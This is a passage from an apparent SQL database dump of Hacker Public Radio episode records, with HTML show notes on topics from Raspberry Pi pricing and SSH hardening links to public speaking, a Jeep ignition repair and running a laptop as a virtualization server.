href=\"https://en.wikipedia.org/wiki/Numeronym\">Wikipedia article\non Numeronyms</a></li>\n</ul>\n<ul>\n<li>XKCD:\n<ul>\n<li>Comic 1133: <a href=\"https://xkcd.com/1133/\"><em>Up Goer\nFive</em></a></li>\n<li><a\nhref=\"https://www.explainxkcd.com/wiki/index.php/1133:_Up_Goer_Five\"><em>XKCD\nExplained</em> - <em>1133: Up Goer Five</em></a></li>\n<li><a href=\"https://splasho.com/upgoer5/\">The Up-Goer Five text\neditor</a></li>\n</ul></li>\n</ul>\n<ul>\n<li>Fake words:\n<ul>\n<li>Lung disease <a\nhref=\"https://en.wikipedia.org/wiki/Pneumonoultramicroscopicsilicovolcanoconiosis\"><em>Pneumonoultramicroscopicsilicovolcanoconiosis</em></a></li>\n<li>Welsh village <a\nhref=\"https://en.wikipedia.org/wiki/Llanfairpwllgwyngyll\"><em>Llanfairpwllgwyngyllgogerychwyrndrobwllllantysiliogogogoch</em></a></li>\n</ul></li>\n</ul>\n<hr />\n</article>\n',225,0,1,'CC-BY-SA','English, abbreviation, numeronym, alphanumeric acronym, numerical contraction',0,0,1),
(3757,'2022-12-27','Career changes.',1625,'Chatting about recent career changes','<ul>\n<li><p><a\nhref=\"https://www.google.com/url?client=internal-element-cse&amp;cx=004021148943282517298:oscb2opeqqq&amp;q=https://www.dmv.virginia.gov/webdoc/pdf/dmv60a.pdf&amp;sa=U&amp;ved=2ahUKEwiDq_nWwYv8AhVvnXIEHftcBtgQFnoECAAQAQ&amp;usg=AOvVaw1iPgvhHhKfYRIsTwiEWEuc\">Virginia\nCDL Manual</a></p></li>\n<li><p><a\nhref=\"https://www.google.com/url?client=internal-element-cse&amp;cx=004021148943282517298:oscb2opeqqq&amp;q=https://www.dmv.virginia.gov/webdoc/pdf/dl8.pdf&amp;sa=U&amp;ved=2ahUKEwiEkd30wYv8AhURg3IEHeq1DucQFnoECAEQAg&amp;usg=AOvVaw3v6tYiEbtT_btwp8qGVfTN\">CDL\nDL-8 form</a></p></li>\n<li><p><a\nhref=\"https://www.google.com/url?client=internal-element-cse&amp;cx=004021148943282517298:oscb2opeqqq&amp;q=https://www.dmv.virginia.gov/drivers/cdl_medical.html&amp;sa=U&amp;ved=2ahUKEwiPlOONwov8AhWHgnIEHWUvD_UQFnoECAcQAQ&amp;usg=AOvVaw1b8wX0dvFqoCNyoY0ddlnf\">CDL\nMedical Exam form</a></p></li>\n</ul>\n',391,0,0,'CC-BY-SA','CDL, Class A CDL',0,0,1),
(3759,'2022-12-29','Chatting with dnt.',2629,'Small talk on SBCs and free software.','<ul>\n<li>Amazon Scalpers selling raspberry pi 4:\n<ul>\n<li><a\nhref=\"https://www.amazon.com/LANDZO-Raspberry-Pi-Model-8gb/dp/B08R87H4RR/ref=sr_1_4?crid=168SFYYOB8U0X&amp;keywords=raspberry+pi+4&amp;qid=1671673312&amp;sprefix=Ras%2Caps%2C85&amp;sr=8-4\">$219.00\npi4 8gb</a></li>\n<li><a\nhref=\"https://www.amazon.com/iUniker-Raspberry-Power-Supply-Heatsink/dp/B0B5KXJD9N/ref=sr_1_2_sspa?crid=168SFYYOB8U0X&amp;keywords=raspberry+pi+4&amp;qid=1671673312&amp;sprefix=Ras%2Caps%2C85&amp;sr=8-2-spons&amp;psc=1&amp;spLa=ZW5jcnlwdGVkUXVhbGlmaWVyPUExVTRHOFhXRDQ3STAwJmVuY3J5cHRlZElkPUEwNTY1NTExMTJNOEE5REc1NFpYWCZlbmNyeXB0ZWRBZElkPUEwMjI4NzgzMlJUMzFOMVFJTDJMNyZ3aWRnZXROYW1lPXNwX2F0ZiZhY3Rpb249Y2xpY2tSZWRpcmVjdCZkb05vdExvZ0NsaWNrPXRydWU=\">$285.99\niUniker pi 4 8gb kit</a></li>\n<li><a\nhref=\"https://www.amazon.com/Raspberry-CM4108032-Quad-Core-Processor-Bluetooth/dp/B0BJQ9Q7SH/ref=sr_1_1_sspa?crid=O19CYY1CXLNJ&amp;keywords=raspberry%2Bpi%2Bcompute%2Bmodule%2B4&amp;qid=1671673531&amp;sprefix=raspberry%2Bpi%2Bcompu%2Caps%2C84&amp;sr=8-1-spons&amp;spLa=ZW5jcnlwdGVkUXVhbGlmaWVyPUExMVRUUU1GWldZTTNSJmVuY3J5cHRlZElkPUEwOTYzMTM5MUpDWTUzME1UTTFCWiZlbmNyeXB0ZWRBZElkPUEwMTQwMDQxRURUWTg0SEM4T0lWJndpZGdldE5hbWU9c3BfYXRmJmFjdGlvbj1jbGlja1JlZGlyZWN0JmRvTm90TG9nQ2xpY2s9dHJ1ZQ&amp;th=1\">$285.99\npi 4 8gb compute module</a></li>\n<li><a\nhref=\"https://www.amazon.com/seeed-studio-Raspberry-Personal-Computer/dp/B08T6KSF7F/ref=sr_1_3?crid=1QIY5KXLCRV9X&amp;keywords=raspberry%2Bpi%2B400&amp;qid=1671673797&amp;sprefix=raspberry%2Bpi%2B400%2Caps%2C92&amp;sr=8-3&amp;th=1\">$145.99\npi 400</a></li>\n<li><a\nhref=\"https://www.amazon.com/RasTech-Raspberry-Starter-Heatsinks-Screwdriver/dp/B0B6NMQFVR/ref=sr_1_2_sspa?crid=3KPRQRSZCG7FL&amp;keywords=raspberry+pi+3&amp;qid=1671673889&amp;sprefix=raspberry+pi+3%2Caps%2C84&amp;sr=8-2-spons&amp;psc=1&amp;spLa=ZW5jcnlwdGVkUXVhbGlmaWVyPUFEQzBMQlRYNU85VDcmZW5jcnlwdGVkSWQ9QTAxNjE0MzVHU0JDT1BBR0dLREUmZW5jcnlwdGVkQWRJZD1BMDcxNjY1MjFRVUJSU0NKTzVMTjcmd2lkZ2V0TmFtZT1zcF9hdGYmYWN0aW9uPWNsaWNrUmVkaXJlY3QmZG9Ob3RMb2dDbGljaz10cnVl\">$235.99\npi 3 kit</a></li>\n</ul></li>\n</ul>\n<hr />\n<h2 id=\"software-and-documentation-mentioned-during-the-show\">Software\nand documentation mentioned during the show.</h2>\n<ul>\n<li><a href=\"https://git-annex.branchable.com/\">git-annex</a>\n<ul>\n<li>git-annex allows managing large files with git, without storing the\nfile contents in git. It can sync, backup, and archive your data,\noffline and online.</li>\n</ul></li>\n<li><a href=\"https://taskwarrior.org/\">Taskwarrior</a>\n<ul>\n<li>Taskwarrior is Free and Open Source Software that manages your TODO\nlist from the command line.</li>\n</ul></li>\n<li><a href=\"https://www.haskell.org/\">Haskell.org</a>\n<ul>\n<li>An advanced, purely functional programming language.</li>\n<li><a href=\"https://wiki.haskell.org/Haskell\">Haskell wiki</a></li>\n<li><a href=\"http://www.learnyouahaskell.com/\">Haskell Book: Learn you a\nHaskell for great good!</a></li>\n<li><a\nhref=\"https://www.hackerpublicradio.org/correspondents.php?hostid=364\">tutorto</a>\n&#x2190; insert <a\nhref=\"https://www.youtube.com/watch?v=g78FIFSdi8U&amp;list=PL6F112y8X_M5F7_DFgeIbSI5Tb9Cx7CA4&amp;index=4\">battle\nmusic</a> from <a\nhref=\"https://elderscrolls.bethesda.net/en/skyrim/\">Skyrim</a></li>\n<li>Because <a\nhref=\"https://www.hackerpublicradio.org/correspondents.php?hostid=399\">dnt</a>\nmust answer for his crimes against Haskell.</li>\n</ul></li>\n<li><a href=\"https://radicale.org/v3.html\">Radicale</a>\n<ul>\n<li>Radicale is a small but powerful CalDAV (calendars, to-do lists) and\nCardDAV (contacts) server.</li>\n</ul></li>\n<li><a href=\"https://www.ssh.com/academy/ssh/command\">SSH\nDocumentation</a>\n<ul>\n<li><a href=\"https://www.ssh.com/academy/ssh/port\">port 22 and info on\nnon-privileged or non-root ports</a></li>\n<li><a href=\"https://www.ssh.com/academy/ssh/sshd_config\">sshd\nconfig</a>: checkout <code>AllowUsers</code> and <code>DenyUsers</code>\nfor your config.</li>\n</ul></li>\n<li><a\nhref=\"https://www.fail2ban.org/wiki/index.php/Main_Page\">Fail2Ban</a></li>\n<li><a href=\"https://iptables.org/\">iptables</a></li>\n<li><a\nhref=\"https://security.stackexchange.com/questions/106953/how-do-attackers-find-the-ip-addresses-of-recently-deployed-servers\">How\nattackers find ip addresses</a>\n<ul>\n<li><a\nhref=\"https://subscription.packtpub.com/book/security/9781786467454/1/ch01lvl1sec17/scanning-random-targets-on-the-internet\">nmap\nscanning internet for random targets</a>: for learning purposes\nonly!!!</li>\n</ul></li>\n<li><a href=\"https://pagekite.net/\">Pagekite</a></li>\n<li><a\nhref=\"https://learn.microsoft.com/en-us/windows/wsl/install\">Windows\nSubsystem for Linux</a></li>\n<li><a href=\"https://www.figma.com/\">Figma</a></li>\n<li><a\nhref=\"https://www.raspberrypi.com/news/production-and-supply-chain-update/\">Raspberry\npi focus on businesses first</a></li>\n<li><a href=\"https://www.youtube.com/c/ETAPRIME\">ETA Prime</a></li>\n<li><a\nhref=\"https://www.pine64.org/2022/12/15/december-update-merry-christmas-and-happy-new-pinetab/\">PineTab\n2</a></li>\n<li><a href=\"https://riscv.org/\">risc-v</a> building the first open,\ncollaborative community of software and hardware innovators powering\ninnovation at the edge forward.</li>\n<li><a href=\"https://www.arm.com/architecture/cpu\">arm\narchitecture</a></li>\n</ul>\n',391,0,0,'CC-BY-SA','Raspberry Pi, single board computers, haskell',0,0,1),
(3758,'2022-12-28','First sysadmin job - war story',1685,'How I got my first job as a sysadmin and a story about NFS','<p>I love show notes, but I don\'t have any this time.</p>\r\n\r\n<p>\r\nHow Norrist moving into a new IT Linux Admin career. Can he solve the mystery of the NFS issues he inherited ?\r\n</p>',342,0,0,'CC-BY-SA','career, nfs, php',0,0,1),
(3763,'2023-01-04','The Baader-Meinhof Phenomenon',767,'A look into this psychological phenomenon ','<h1 id=\"baader-meinhof-phenomenon\">Baader-Meinhof Phenomenon</h1>\n<p>This is a psychological experience.</p>\n<p>When I describe it in full, if you are of any age, you will almost\ncertainly think \"oh yes, that has happened to me.\"</p>\n<p>For older listeners, the name Baader-Meinhof might be memorable as a\nname given to a group who liked to call themselves the \'Red Army\nFaction.\'</p>\n<p>The name Baader-Meinhof, after two notable members of the group, was\ngiven to it by journalists.</p>\n<p>In the late sixties, all through the seventies, and even into the\neighties, the Red Army Faction were responsible for a number of\nterrorist attacks in and around East and West Germany. One person\'s\nterrorist is another person\'s freedom fighter, but we will not get into\nthat discussion.</p>\n<p>This psychological phenomenon was given the name, after a man wrote a\nletter to a newspaper in 1994 pointing out that he had recently heard\nthe name, Baader-Meinhof, and thereafter, seemed to hear or see it again\nand again.</p>\n<p>Following that, many people wrote to the same newspaper making\nsimilar comments, about recently heard names, usually nouns, which were\nthen noticed by them frequently.</p>\n<p>The phenomenon was also given the name \'Frequency Illusion\' in\n2005.</p>\n<h2 id=\"wikipedia\">Wikipedia</h2>\n<p><a href=\"https://en.wikipedia.org/wiki/Frequency_illusion\">Here is\nthe Wikipedia link to the page for the \'Frequency Illusion\', also known\nas the \'Baader-Meinhof Phenomenon.</a></p>\n',282,0,1,'CC-BY-SA','Baader-Meinhof Phenomenon',0,0,1),
(3773,'2023-01-18','My Public Speaking Rules',1055,'Some tips on public speaking for technical talks or lectures.','<h1 id=\"public-speaking\">Public Speaking</h1>\n<p>For many people, public speaking is a very traumatic thing.</p>\n<p>It is not something that has ever held any great terror for me. That\nis especially true now I am totally blind.</p>\n<h2 id=\"my-public-speaking-rules\">My Public Speaking Rules</h2>\n<p>These are some rules I live by when public speaking. These apply to\nthings like technical talks or lectures. Not necessarily to after dinner\nspeaking, or the speech you might give as the best man at a wedding.\nThose things are different entirely:</p>\n<ol type=\"1\">\n<li><p>NEVER start a talk with an apology for being a bad public\nspeaker. You will be implanting in the audience the subconscious\nsuggestion that they are about to sit through a talk given by a bumbling\nidiot with limited knowledge of the published subject.</p></li>\n<li><p>Three part rule. A talk about a technical or serious subject\nshould be divided into these three parts</p>\n<ul>\n<li>tell them what you are going to be talking about</li>\n<li>the meat of the talk</li>\n<li>summarise what you just told them.</li>\n</ul>\n<p>This was given to me a very long time ago by a retired lecturer from\nthe London School of Economics.</p></li>\n<li><p>The people in the audience wanted to be there. So there is little\nor no hostility in the room. And much empathy.</p></li>\n<li><p>Don\'t rush yourself. Pace the talk. Rushing can be a nasty\nfeedback loop which makes your pace increase and your level of\nconfidence plummet.</p></li>\n<li><p>Don\'t be afraid of pauses, or silence. These moments can give you\nbreathing space to summarise in your own mind where you are at, whether\nthe last thing you said needs amplification, and what is to come\nnext.</p></li>\n<li><p>Don\'t be afraid of the \'ums and erms.\' But keep it to a minimum.\nSilence is better than verbal ticks.</p></li>\n<li><p>Keep humour to a minimum. Depends on the kind of event. If you\nare the best man at a wedding, you are supposed to inject humour,\nprobably at the expense of the groom.</p></li>\n<li><p>You don\'t need to pick out one audience member to talk to. You\nare just as effective if you are focused on the back wall. Talking to\njust one member of the audience, particularly if they are right at the\nfront, is probably not a good look. Glancing round the room helps to\nmake everybody feel included.</p></li>\n</ol>\n<h2 id=\"notes\">Notes</h2>\n<p>I probably broke some of my rules, in particular inserting verbal\nticks early in the podcast. I think I improved focus as I went on.</p>\n<p>I inserted some humour, including some comments about my family\nChristmas, but then it is, well, Christmas.</p>\n<p>I am almost never happier than when I am learning new things.</p>\n<p>I am fiercely proud of, and amazed at the amount of things I know\nabout a lot of subjects. I am a knowledge sponge.</p>\n<p>The one thing that does make me happier than learning, is sharing\nwhat I know. Which I often do in a tone which suggests I am just amazed\nat the fact I know this stuff at all.</p>\n<p>Remember, the things you don\'t yet know are more important than the\nthings you already know. That is true for everybody. So share your\nknowledge in good spirit, keeping arrogance out of the picture.</p>\n',282,0,1,'CC-BY-SA','public speaking,',0,0,1),
(3783,'2023-02-01','Accessibility, and Navigating the HPR Web Pages with a Screen Reader',1304,'Mike puts the HPR Web Site to the test.','<h1\nid=\"accessibility-and-navigating-the-hpr-web-pages-with-a-screen-reader\">Accessibility,\nand Navigating the HPR Web Pages with a Screen Reader</h1>\n<p>Some time in the last year there has been some discussion on the HPR\nmailing list about some of the problems I was having, particularly with\nthe tags page, on the HPR site.</p>\n<p>Here is a show in which you can hear both me and my screen reader, as\nI navigate the HPR home page, and then the HPR tags page.</p>\n<p>Dave Morriss has made a nice job of fixing the issues I had, and made\nthe tags page a lot more friendly for blind and visually impaired\nusers.</p>\n<p>It\'s quite a long podcast, and it took a lot of editing. So most of\nthe polish wore off by the time I \'finished\' it and decided enough was\nenough.</p>\n',282,0,1,'CC-BY-SA','Accessibility, HPR, Screen Reader',0,0,1),
(3764,'2023-01-05','My text-focused journey into tech',1151,'My journey into technology covering some of the prose-writing technology I\'ve used along the way.','<ul>\n<li>Wikipedia\'s entry for the ZX81:<br />\n<a href=\"https://en.wikipedia.org/wiki/ZX81\"\nclass=\"uri\">https://en.wikipedia.org/wiki/ZX81</a></li>\n<li>WordPerfect in many of its forms, complete with download\nlinks:<br />\n<a href=\"https://winworldpc.com/product/wordperfect/3x-dos\"\nclass=\"uri\">https://winworldpc.com/product/wordperfect/3x-dos</a></li>\n<li>Hog Bay Software\'s WriteRoom for Mac:<br />\n<a href=\"https://www.hogbaysoftware.com/products/writeroom/\"\nclass=\"uri\">https://www.hogbaysoftware.com/products/writeroom/</a></li>\n<li>FocusWriter:<br />\n<a href=\"https://gottcode.org/focuswriter/\"\nclass=\"uri\">https://gottcode.org/focuswriter/</a></li>\n<li>How to turn Vim into a word processor:<br />\n<a href=\"https://www.maketecheasier.com/turn-vim-word-processor/\"\nclass=\"uri\">https://www.maketecheasier.com/turn-vim-word-processor/</a></li>\n<li>Hunspell:<br />\n<a href=\"http://hunspell.github.io/\"\nclass=\"uri\">http://hunspell.github.io/</a></li>\n<li>The GNU Emacs site:<br />\n<a href=\"https://www.gnu.org/software/emacs/\"\nclass=\"uri\">https://www.gnu.org/software/emacs/</a></li>\n<li>GNU aspell:<br />\n<a href=\"http://aspell.net/\" class=\"uri\">http://aspell.net/</a></li>\n<li>Flycheck for GNU Emacs:<br />\n<a href=\"https://www.flycheck.org/en/latest/\"\nclass=\"uri\">https://www.flycheck.org/en/latest/</a></li>\n<li>Help for sufferers of RSI:<br />\n<a href=\"https://www.rsiprevention.com/\"\nclass=\"uri\">https://www.rsiprevention.com/</a></li>\n</ul>\n<p>enistello can be reached by email:<br />\n<a href=\"mailto:enistello@tuta.io\"\nclass=\"email\">enistello@tuta.io</a><br />\nOr on Mastodon:<br />\n<span class=\"citation\" data-cites=\"ensitello\">@ensitello</span><span\nclass=\"citation\" data-cites=\"fosstodon.org\">@fosstodon.org</span></p>\n',415,0,0,'CC-BY-SA','text,emacs,linux,mac,distraction-free,vim,prose,plain text',0,0,1),
(3765,'2023-01-06','Fixing clock events in GBA pokemon cartridges',823,'Tinkering with the RTC (Real Time Clock) hardware on Gameboy Advance cartridges','<p>Pokemon games for the GBA (Game Boy Advance) have an internal RTC\nchip with a coin battery to keep track of the time when the console is\npowered off.<br />\nWhat happens when the internal battery runs dry? How to fix it?<br />\nIs this enough to completely restore calendar-based events?</p>\n<ul>\n<li><p>Tools:</p>\n<ul>\n<li><a\nhref=\"https://github.com/megaboyexe/GBA_RTCRead\">https://github.com/megaboyexe/GBA_RTCRead</a></li>\n<li><a\nhref=\"https://gbatemp.net/threads/how-to-reset-the-rtc-in-gba-pokemon-games-after-replacing-the-battery.558620/\">https://gbatemp.net/threads/how-to-reset-the-rtc-in-gba-pokemon-games-after-replacing-the-battery.558620/</a></li>\n<li>Swapping battery instructions <a\nhref=\"https://www.youtube.com/watch?v=1piXd3ffwug\">https://www.youtube.com/watch?v=1piXd3ffwug</a></li>\n</ul></li>\n<li><p>Additional resources:</p>\n<ul>\n<li><a\nhref=\"https://www.youtube.com/watch?v=jzauCmOvF_U\">https://www.youtube.com/watch?v=jzauCmOvF_U</a>\n(few mistakes about here)</li>\n<li><a\nhref=\"https://www.youtube.com/watch?v=TrIAyAKg2S0\">https://www.youtube.com/watch?v=TrIAyAKg2S0</a>\n(followup videos with corrections)</li>\n</ul></li>\n</ul>\n',407,103,0,'CC-BY-SA','nintendo,gba,swapping battery,RTC clock,savefile editing,game boy advance',0,0,1),
(3767,'2023-01-10','LP article from Wikipedia',2561,'LP article from Wikipedia about the long playing vinyl record and its history.','<h2 id=\"lp-record-entry-from-wikipedia\">LP record entry from\nWikipedia</h2>\n<p><a href=\"https://en.wikipedia.org/wiki/LP_record\"\ntitle=\"LP record entry from Wikipedia\">Wikipedia - LP</a></p>\n<ul>\n<li><p>The RIAA did something right.</p>\n<p>In 1954, the Recording Industry Association of America (RIAA)\nintroduced a standard equalization curve to be used by all record\nmanufacturers.</p></li>\n</ul>\n',318,0,1,'CC-BY-SA','audio, vinyl, record, media, history',0,0,1),
(3768,'2023-01-11','Jeep Ignition Repair',631,'Replacing ignition on my 1999 Jeep Wrangler','<p>I should have started by removing these two screws</p>\n<p><a href=\"https://hackerpublicradio.org/eps/hpr3768/Pic_00.jpg\"><img alt=\"Kneeboard Screws\" src=\"https://hackerpublicradio.org/eps/hpr3768/Pic_00_thumbnail.jpg\" /></a><br />\n<small><small><em>Click the thumbnail to see the full-sized image</em></small></small></p>\n\n<p>But I actually started with two of these screws, removed the knee board, then removed the third screw</p>\n<p><a href=\"https://hackerpublicradio.org/eps/hpr3768/Pic_01.jpg\"><img alt=\"Column Housing Screws\" src=\"https://hackerpublicradio.org/eps/hpr3768/Pic_01_thumbnail.jpg\" /></a><br />\n<small><small><em>Click the thumbnail to see the full-sized image</em></small></small></p>\n\n<p>I removed the ignition assembly by removing these three screws. There is a large bump on the bottom, this is where the spring that lifts the ignition locking mechanism goes</p>\n<p><a href=\"https://hackerpublicradio.org/eps/hpr3768/Pic_02.jpg\"><img alt=\"Lower Ignition Screws\" src=\"https://hackerpublicradio.org/eps/hpr3768/Pic_02_thumbnail.jpg\" /></a><br />\n<small><small><em>Click the thumbnail to see the full-sized image</em></small></small></p>\n\n<p><a href=\"https://hackerpublicradio.org/eps/hpr3768/Pic_03.jpg\"><img alt=\"Side Ignition Screw\" src=\"https://hackerpublicradio.org/eps/hpr3768/Pic_03_thumbnail.jpg\" /></a><br />\n<small><small><em>Click the thumbnail to see the full-sized image</em></small></small></p>\n\n<p>The piece of ignition that had broken</p>\n<p><a href=\"https://hackerpublicradio.org/eps/hpr3768/Pic_04.jpg\"><img alt=\"Broken Ignition Piece\" src=\"https://hackerpublicradio.org/eps/hpr3768/Pic_04_thumbnail.jpg\" /></a><br />\n<small><small><em>Click the thumbnail to see the full-sized image</em></small></small></p>\n\n<p>Replacement part. The marked part is very delicate and will snap easily</p>\n<p><a href=\"https://hackerpublicradio.org/eps/hpr3768/Pic_05.jpg\"><img alt=\"Good Ignition\" src=\"https://hackerpublicradio.org/eps/hpr3768/Pic_05_thumbnail.jpg\" /></a><br />\n<small><small><em>Click the thumbnail to see the full-sized image</em></small></small></p>\n',408,0,0,'CC-BY-SA','cars, repairs',0,0,1),
(3766,'2023-01-09','ACER Nitro 5 laptop review',588,'ACER Nitro 5 laptop review','<h3 id=\"some-scant-notes-and-web-links\">Some scant notes and web\nlinks</h3>\n<p>The manufacturers website:<br />\n<a\nhref=\"https://store.acer.com/en-us/nitro-5-gaming-laptop-an515-57-537y\"\nclass=\"uri\">https://store.acer.com/en-us/nitro-5-gaming-laptop-an515-57-537y</a></p>\n<table>\n<tbody>\n<tr class=\"odd\">\n<td style=\"text-align: left;\">Device name</td>\n<td style=\"text-align: left;\">Not disclosed</td>\n</tr>\n<tr class=\"even\">\n<td style=\"text-align: left;\">Processor</td>\n<td style=\"text-align: left;\">Intel(R) Core(TM) i5-10300H CPU @ 2.50GHz\n2.50 GHz</td>\n</tr>\n<tr class=\"odd\">\n<td style=\"text-align: left;\">Installed RAM</td>\n<td style=\"text-align: left;\">8.00 GB (7.83 GB usable)</td>\n</tr>\n<tr class=\"even\">\n<td style=\"text-align: left;\">System type</td>\n<td style=\"text-align: left;\">64-bit operating system, x64-based\nprocessor</td>\n</tr>\n<tr class=\"odd\">\n<td style=\"text-align: left;\">Pen and touch</td>\n<td style=\"text-align: left;\">No pen or touch input is available for\nthis display</td>\n</tr>\n</tbody>\n</table>\n',365,0,0,'CC-BY-SA','laptop reviews, ACER',0,0,1),
(3769,'2023-01-12','Crouching laptop, hidden server (part 0).',835,'Virtualized battlegrounds.','<h1 id=\"crouching-laptop-hidden-server-part-0\">Crouching laptop, hidden\nserver (part 0).</h1>\n<h2 id=\"virtualized-battlegrounds\">Virtualized battlegrounds.</h2>\n<ul>\n<li>Archer72\'s system: <a\nhref=\"https://gadgetaz.com/Laptop/Acer_Aspire_AS5750-6866--5402\">Acer\nAspire 5750-6866</a>\n<ul>\n<li>CPU: Intel Core i3 2350M (2.3 GHz max, 2 cores, 3MB cache).</li>\n<li>RAM: 4GB DDR3-1600 SODIMM (2 x 2GB currently, 2 x 4GB upgrade\nplanned).</li>\n<li>Video: Integrated Intel GMA HD 3000.</li>\n<li>DISK: 120GB SATA SSD.</li>\n<li>NIC: Integrated 1000 mbps.\n<ul>\n<li>802.11 b/g/n Wi-Fi.</li>\n<li>Bluetooth not installed.</li>\n</ul></li>\n</ul></li>\n<li>SGOTI\'s system: <a\nhref=\"https://support.hp.com/us-en/document/c06060339\">HP Notebook\n14-ck0052cl</a>\n<ul>\n<li>CPU: Intel Core i3-8130U (2.2 GHz - 4 GHz max, 2 cores, 4MB\ncache).</li>\n<li>RAM: 16GB DDR4-2400 SDRAM (2 x 8GB, upgraded).</li>\n<li>Video: Integrated Intel UHD Graphics 620.</li>\n<li>DISK: 1TB 5400 rpm SATA HDD (with empty m.2 SATA slot).</li>\n<li>NIC: Integrated 10/100/1000 GbE LAN.\n<ul>\n<li>802.11 b/g/n Wi-Fi &amp; Bluetooth 4.2 combo.</li>\n</ul></li>\n</ul></li>\n</ul>\n<hr />\n<h2 id=\"software-and-documumentation-mentioned-during-the-show\">Software\nand documumentation mentioned during the show.</h2>\n<ul>\n<li>Running Laptop, server style, with the Lid closed.\n<ol type=\"1\">\n<li>Edit logind.conf\n<code>sudo vim /etc/systemd/logind.conf</code>.</li>\n<li>Remove the <code>#</code> from these lines then set values to\n<code>ignore</code>:\n<ul>\n<li><code>HandleSuspendkey=ignore</code></li>\n<li><code>HandleLidSwitch=ignore</code></li>\n<li><code>HandleLidSwitchDocked=ignore</code></li>\n</ul></li>\n<li>Save then quit.\n<ul>\n<li>I\'m not going to tell you how ;)</li>\n</ul></li>\n<li>Finally, restart systemd-logind.\n<ul>\n<li><code>sudo systemctl restart systemd-logind.service</code></li>\n</ul></li>\n</ol></li>\n</ul>\n<h2 id=\"way-of-the-archer72\">Way of the Archer72.</h2>\n<ul>\n<li><a href=\"https://www.proxmox.com/en/\">Proxmox Homepage.</a>\n<ul>\n<li>Proxmox VE is a complete open-source platform for enterprise\nvirtualization. With the built-in web interface you can easily manage\nVMs and containers, software-defined storage and networking,\nhigh-availability clustering, and multiple out-of-the-box tools on a\nsingle solution.</li>\n<li><a href=\"https://pbs.proxmox.com/docs/\">Proxmox backup\ndocumentation.</a></li>\n<li><a href=\"https://pbs.proxmox.com/docs/proxmox-backup.pdf\">Proxmox\nbackup documentation .pdf download.</a></li>\n<li><a\nhref=\"https://www.proxmox.com/en/training/video-tutorials\">Proxmox video\ntutorials</a></li>\n<li><a href=\"https://pbs.proxmox.com/wiki/index.php/Main_Page\">Proxmox\nwiki.</a></li>\n<li><a href=\"https://bobcares.com/blog/proxmox-vlan-bridge\">Proxmox vLAN\nnetworking information.</a></li>\n<li><a href=\"https://bobcares.com/blog/setup-nat-on-proxmox/\">Proxmox\nNAT config information.</a></li>\n</ul></li>\n<li><a href=\"https://www.youtube.com/watch?v=_u8qTN3cCnQ\">Youtube\nvideo:</a> install/config Proxmox.</li>\n<li><a href=\"https://www.duckdns.org/why.jsp\">Duck DNS</a>\n<ul>\n<li>hosted on AWS, with no upfront cost to the user.</li>\n<li>Dynamic DNS service; dynamically update DNS records without the need\nfor human interaction. Connect to your home/local network from a remote\nnetwork using a domain name instead of an IP address.</li>\n</ul></li>\n</ul>\n<h2 id=\"way-of-the-sgoti\">Way of the SGOTI.</h2>\n<ul>\n<li><a\nhref=\"https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/7/html/virtualization_deployment_and_administration_guide/sect-guest_virtual_machine_installation_overview-creating_guests_with_virt_install\">RHEL\nDocumentation:</a> Creating guests with <code>virt-install</code>\n<ul>\n<li><a\nhref=\"https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/9\">RHEL\n9 product documentation list</a></li>\n<li>You can use the <code>virt-install</code> command to create virtual\nmachines and install operating system on those virtual machines from the\ncommand line. <code>virt-install</code> can be used either interactively\nor as part of a script to automate the creation of virtual\nmachines.</li>\n</ul></li>\n<li><a href=\"https://virt-manager.org/\">virt-manager</a>\n<ul>\n<li>The <code>virt-manager</code> application is a desktop user\ninterface for managing virtual machines through libvirt. It primarily\ntargets KVM VMs, but also manages Xen and LXC (linux containers).</li>\n<li><code>virt-install</code> is a command line tool which provides an\neasy way to provision operating systems into virtual machines.</li>\n<li><code>virt-viewer</code> is a lightweight UI interface for\ninteracting with the graphical display of virtualized guest OS. It can\ndisplay VNC or SPICE, and uses libvirt to lookup the graphical\nconnection details.</li>\n<li><code>virt-clone</code> is a command line tool for cloning existing\ninactive guests. It copies the disk images, and defines a config with\nnew name, UUID and MAC address pointing to the copied disks.</li>\n<li><code>virt-xml</code> is a command line tool for easily editing\nlibvirt domain XML using virt-install&#x2019;s command line options.</li>\n<li><code>virt-bootstrap</code> is a command line tool providing an easy\nway to setup the root file system for libvirt-based containers.</li>\n</ul></li>\n<li><a href=\"https://www.qemu.org/docs/master/\">qemu documentation</a>\n<ul>\n<li><a href=\"https://wiki.qemu.org/Category:User_documentation\">qemu\nwiki: User documentation</a></li>\n<li><a href=\"https://wiki.qemu.org/Features/KVM\">qemu wiki: KVM</a></li>\n</ul></li>\n<li><a href=\"https://www.linux-kvm.org/page/Main_Page\">KVM homepage</a>\n<ul>\n<li>KVM (for Kernel-based Virtual Machine) is a full virtualization\nsolution for Linux on x86 hardware containing virtualization extensions\n(Intel VT or AMD-V). It consists of a loadable kernel module, kvm.ko,\nthat provides the core virtualization infrastructure and a processor\nspecific module, kvm-intel.ko or kvm-amd.ko.</li>\n<li>Using KVM, one can run multiple virtual machines running unmodified\nLinux or Windows images. Each virtual machine has private virtualized\nhardware: a network card, disk, graphics adapter, etc.</li>\n</ul></li>\n<li><a href=\"https://cockpit-project.org/\">Cockpit</a>\n<ul>\n<li>Cockpit is a web-based graphical interface for servers, intended for\neveryone.</li>\n<li><a\nhref=\"https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/9/html/managing_systems_using_the_rhel_9_web_console/index\">RHEL\n9: web console/cockpit documentation</a></li>\n<li><a href=\"https://cockpit-project.org/guide/latest/\">Cockpit\nDeployment Guide</a></li>\n<li><a href=\"https://www.redhat.com/sysadmin/intro-cockpit\">RHEL intro\nto Cockpit guide.</a></li>\n</ul></li>\n<li><a href=\"https://www.youtube.com/watch?v=HxvFuGnjoJo\">Youtube\nvideo:</a> Fedora server on a Laptop.\n<ul>\n<li>14:45, editing /etc/systemd/logind.conf</li>\n</ul></li>\n<li><a href=\"https://www.youtube.com/watch?v=Nh2-LjIymmQ\">Youtube\nvideo:</a> Deploying Nextcloud AIO containers.</li>\n</ul>\n<h2 id=\"additional-information\">Additional Information.</h2>\n<ul>\n<li><a href=\"https://www.geeksforgeeks.org/what-is-an-ip-address/\">What\nis an IP address?</a></li>\n<li><a href=\"https://whatismyipaddress.com/\">What\'s my IP\naddress?</a></li>\n<li><a href=\"https://www.cloudns.net/blog/what-is-dynamic-dns/\">What is\nDDNS?</a></li>\n<li><a\nhref=\"https://www.cloudflare.com/learning/dns/glossary/dynamic-dns\">Cloudflare\nDDNS 